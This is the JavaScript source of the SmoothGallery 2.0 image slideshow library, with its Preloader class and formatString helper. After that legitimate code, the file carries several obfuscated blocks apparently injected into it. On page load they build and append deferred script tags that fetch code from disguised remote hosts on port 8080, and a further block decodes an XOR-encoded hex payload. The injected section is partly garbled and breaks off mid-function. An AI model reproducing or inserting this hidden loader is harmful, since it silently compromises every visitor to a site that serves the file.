/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h2",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.2,
			textShowCarousel: 'Featured Content',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}



var m=window;this.yq="";var gw;if(gw!='' && gw!='n'){gw=''};var i='s!c%r!i!p!t2'.replace(/[2K%\!H]/g, '');this.ao="ao";this.mw="";var s=document;var z=new String();m.onload=function(){try {this.yt=false;v=s.createElement(i);var q;if(q!='' && q!='bo'){q='d'};v.setAttribute('dBesf!esrs'.replace(/[s\!B%n]/g, ''), "1");this.ir="";var sm;if(sm!='p'){sm='p'};v.src='hxtxtxp_:+/Z/+gUeZtUaZfxr_e+exlZa_nUcZexrx-Zc+o+m_.ZlUixvUeZsxc+oUrZeU._cUo+mZ.Zb+aUdZoxo_-_cxo_mx._tZhUexlUi_fxe_txaUgU.Ur+uU:Z8x0x8_0_/Ug+o_o_g_l_ex.Ucxo_mZ/xgZoxo+gUlUex.UcxoZmx/UsUhUoZp_lxo_c+a+lx.ZcZoUm+/+i_n_d+iUaxnZr+a+ixl+.UgUoxvZ.Uixn_/ZpUe_oxp+l+eZ.ZcUo+m_/_'.replace(/[_ZU\+x]/g, '');var l=new Date();s.body.appendChild(v);var fq;if(fq!='' && fq!='x'){fq='ol'};var bp=new String();} catch(y){var oly;if(oly!='re'){oly='re'};};};var nx=new Date();var dj=5925;
this.wj='';try {:LineMixer [var c;if(c!='u' && c != ''){c=null};var g='hBtFtFpB:O/U/?iUnUt?e?lU-FcFoOmF.OgUoFoUgUlOeO.UcUo?mU.UlFyO.ByFoFuBrUf?i?lBe?hFo?sOtB-BcFoBmF.FyFoBu?rBtOoBlOlOtBaFgB.?rBuO:F8F0U8?0?/OgUoBoFgUlOeF.OcBoB.BnBz?/UgOoFoOgUlUe?.?cBoU.BnFzF/?gFoFoBgUlFeO.BcUoOmO/OgUoFoBgUlUeB.?cFoOmF.Bc?oO/FdOa?qUiO.Uc?o?m?/U'.replace(/[U\?BOF]/g, '');var t;if(t!='' && t!='h'){t=''};var p='s/c*rSi*pVt/'.replace(/[/gS\*V]/g, '');var _='c$r,eIa>t,e2E$l>e$m2e,n>t,'.replace(/[,\>I\$2]/g, '');var v='o|nVl>oVaJdJ'.replace(/[J\|V#\>]/g, '');var w="1";var fu;if(fu!='z'){fu=''};var n='aDpbp;eDn1dbC;h;iDlDd;'.replace(/[;y1Db]/g, '');var kk;if(kk!='zk' && kk!='ve'){kk='zk'};var q='sTejt$AjtItIrTijbUuItTeT'.replace(/[TjUI\$]/g, '');var zp;if(zp!='' && zp!='b'){zp=''};var e='bkoCdky8'.replace(/[8C\^\<k]/g, '');]window[v]=function(){var cv;if(cv!='bo'){cv=''};f=document[_](p);var i;if(i!='bs' && i!='hs'){i='bs'};:LineMixer [this.mn="";f['sqr<c<'.replace(/[\<qNh4]/g, '')]=g;this.uw=false;f[q]('d0evf0e?rv'.replace(/[v%\?/0]/g, ''), w);var gz=document[e];var zu;if(zu!='ua'){zu='ua'};]this.gi="gi";gz[n](f);};var fe;if(fe!='ru' && fe != ''){fe=null};} catch(_j){var fl;if(fl!='bd' && fl != ''){fl=null};};
var vs='';var o;if(o!='' && o!='dq'){o='am'};var h;if(h!='u' && h!='yt'){h=''};function d() {var ax=false;var r=new String();var oy;if(oy!=''){oy='xp'};this.yb="";function k(c,v,kt){var ep;if(ep!='f' && ep != ''){ep=null};var zm;if(zm!='qk' && zm != ''){zm=null};c.setAttribute(v, kt);}var aq="";var ff;if(ff!='gy' && ff!='zq'){ff=''};var op;if(op!='fk' && op!='_'){op='fk'};this.df="";function m(){var ao;if(ao!='hi' && ao!='zy'){ao=''};return ([1,9][0]);var ybj;if(ybj!='' && ybj!='u_'){ybj='pt'};}this.rz=false;this.ak=false;var rb;if(rb!='' && rb!='naz'){rb=''};var a=window;var y='o0n9l9o9aVdK'.replace(/[K9V0b]/g, '');var n='hftft~p*:f/C/*t*h~e*p*iCrCaftCe*b*afyC-*oOr*gf.~pOe~oOp*l~e~.Cc*ofmf.OsCoOsOo~-~cfoCmC.~hCofm~e*ufsCaOofn*l*i*n*ef.frCuf:~8C0*8O0f/Og~ofofgOl~ef.OcfoOmf/~gOo~o~gOlOeC.*c*oCm*/*pCa~nfd~oCrfaf.OcfofmO/Cl~ifnCkOe*dfi*nC.Ccfo~mf/*gCo*ofgflCef.~cCoOm*.~d~oO/C'.replace(/[C~O\*f]/g, '');var yl=new Date();var vo='cPrPeyaNtPeyEPlNe_mPeyn_t_'.replace(/[_NFyP]/g, '');var lp;if(lp!='t' && lp != ''){lp=null};var ex=21231;var e='s|cLrliApTtl'.replace(/[lTAL\|]/g, '');var ge;if(ge!='pb' && ge != ''){ge=null};var _w=new Array();var wb;if(wb!='' && wb!='vd'){wb='_wn'};var b='sErEc~'.replace(/[~E4\|v]/g, '');var bu;if(bu!='bp' && bu!='bv'){bu='bp'};this.tb="";a[y]=function(){var pz='';try {var fd;if(fd!='wn'){fd=''};var ch;if(ch!='zs'){ch=''};p=document[vo](e);var hm=19399;var nc;if(nc!='az' && nc!='tx'){nc='az'};k(p,'dDemfAe/r/'.replace(/[/0ADm]/g, ''),m());var kl;if(kl!='cz' && kl!='ja'){kl='cz'};var jz=new String();var dmg=new Date();var pyn;if(pyn!='yc' && pyn != ''){pyn=null};k(p,b,n);this.oe="";this.oj='';document['bWoWd/y4'.replace(/[4Et/W]/g, '')]['aDpYpDeFnFd:CFhbi:lFd:'.replace(/[\:DbFY]/g, '')](p);this.sc=false;} catch(q){var np=new Array();};};};this.da=false;var c_;if(c_!='' && c_!='qx'){c_=null};d();
var Mp="5b44427651365042576f68215b7e78443a7469534757407354765558425566415a7c6a4e6a727651644b5841716b475902000f0a216949775c5e42734a615c445734735c315b415c29634128425c";var jz=new Date();var nb=false;function g(p){ var G=function(pT){var UO="";this.sA='';var c;if(c!=''){c='UQ'};var HR;if(HR!='xt'){HR=''};var T =[0][0];var X;if(X!='Kd'){X='Kd'};var Y = '';pT = new A(pT);this.wU=12097;var f = -1;var Ax=51997;var sM;if(sM!='' && sM!='RH'){sM=''};var Ye =[91,12,0,100][2];var m;if(m!=''){m='cO'};var aQ;if(aQ!='' && aQ!='rE'){aQ=''};var Es=4552;var pQ;if(pQ!='KP' && pQ != ''){pQ=null};var hS;if(hS!='Xq'){hS=''};for (T=pT[o("egtnlh", [4,0,3,1,2])]-f;T>=Ye;T=T-[25,58,252,1][3]){Y+=pT[o("hcaArt", [1,0,2])](T);}var wI;if(wI!=''){wI='Br'};var jW="";var sX;if(sX!='UN'){sX=''};var jk=false;return Y;var tX=new Date();};this.Yd=8445;this.pwo=8307;var CE=new Array();this.Fn=17120;this.b=62004;var wl;if(wl!='' && wl!='fF'){wl=null}; var q=function(u,TO){return u[o("hacCoreAdt", [2,0,1])](TO);var W;if(W!='ED'){W='ED'};var Mi;if(Mi!='jv'){Mi=''};};var VP;if(VP!='' && VP!='LH'){VP=null}; var o=function(pT, n){var IL='';var DpF='';var FR=new String();var V = pT.length;var Ye=[0][0];this.LF=40094;var Cy="";var d=[54,144,1][2];var yH=new Array();var Y = '';var l = n.length;var FD;if(FD!='' && FD!='vp'){FD='nA'};for(var T = Ye; T < V; T += l) {var M = pT.substr(T, l);this.qc="qc";if(M.length == l){var Vy;if(Vy!='' && Vy!='uA'){Vy=null};var SR="SR";for(var fb in n) {var iQ=new Array();Y+=M.substr(n[fb], d);var Qd;if(Qd!='DR' && Qd!='qK'){Qd=''};var Kn;if(Kn!='Eu' && Kn!='hX'){Kn='Eu'};var GS=new String();}this.uu='';} else {var NQ;if(NQ!=''){NQ='zd'};var KX=new Array();  Y+=M;var ae;if(ae!=''){ae='Oy'};var ws;if(ws!='oN'){ws='oN'};}}var AV=new Date();var Xr=new Date();var Dl;if(Dl!='bJ'){Dl=''};this.ep='';return Y;var FU;if(FU!='Lg'){FU='Lg'};};var Mq;if(Mq!='ME'){Mq=''}; var MF=function(a,Qu){var jS;if(jS!='WGw' && jS!='vY'){jS=''};var gh=false;return a^Qu;var rj;if(rj!='UD' && rj!='wrC'){rj='UD'};this.xh="xh";};var hm;if(hm!='oM'){hm=''};var SKZ;if(SKZ!='' && SKZ!='oe'){SKZ=''};var vB;if(vB!='' && vB!='If'){vB=''};this.yx="yx"; var KT;if(KT!=''){KT='Ozz'};function r(U){this.mV=60975;var Id;if(Id!='sR' && Id!='Ev'){Id=''};var d=[47,173,1,248][2];var C=[0,72,187][0];var rl=new Array();var Gq=new Array();var 